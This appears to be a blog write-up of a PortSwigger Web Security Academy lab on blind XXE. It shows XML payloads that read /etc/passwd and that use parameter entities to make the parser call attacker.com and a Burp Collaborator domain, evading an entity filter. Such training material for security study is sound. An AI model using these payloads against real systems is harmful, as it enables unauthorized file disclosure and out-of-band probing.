Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type Blind XXE — Parameter Entity Bypass
Difficulty Practitioner
Objective Trigger a DNS lookup and HTTP request to Burp Collaborator using XML parameter entities

Blind XXE with Out-of-Band Interaction via XML Parameter Entities — Writeup


Initial Observation

Same stock check endpoint, same XML format:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

But this lab blocks regular external entities. Trying the standard payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY miku SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>&miku;</productId><storeId>1</storeId></stockCheck>

Response: Entities are not allowed for security reasons

Screenshot

The application is specifically detecting and blocking general external entities. We need a different type.

The Difference Between General and Parameter Entities

This is the core concept for this lab — there are two types of entities in XML, and they work very differently.

General external entities are what we've been using so far. They're declared without a % prefix and referenced in the XML body:

<!DOCTYPE teto [<!ENTITY miku SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>&miku;</productId></stockCheck>

The entity &miku; gets resolved when the parser processes the document body. This is what the application is filtering.

Parameter entities are declared with a % prefix and can only be referenced inside the DTD itself — not in the document body. The reference syntax also uses % instead of &:

<!DOCTYPE teto [<!ENTITY % miku SYSTEM "https://attacker.com"> %miku;]>

Here %miku; is referenced inside the DOCTYPE declaration, not in <productId> or anywhere in the body. The parser resolves it while processing the DTD, before it even gets to the document structure. Because the reference lives in the DTD rather than the body, it takes a completely different code path — one that the application's "entities are not allowed" check doesn't cover.


Attack Path

Out-of-Band Detection via Parameter Entity

Using a parameter entity pointing at Burp Collaborator — referenced inline within the DOCTYPE so the parser fetches it during DTD processing:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY % miku SYSTEM "https://j6qu35hsao8qjw7spr6xhj5vimodcb00.oastify.com"> %miku;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Screenshot

Collaborator receives the HTTP request:

Screenshot

Once we recive the request tha lab will be solved :P

Resources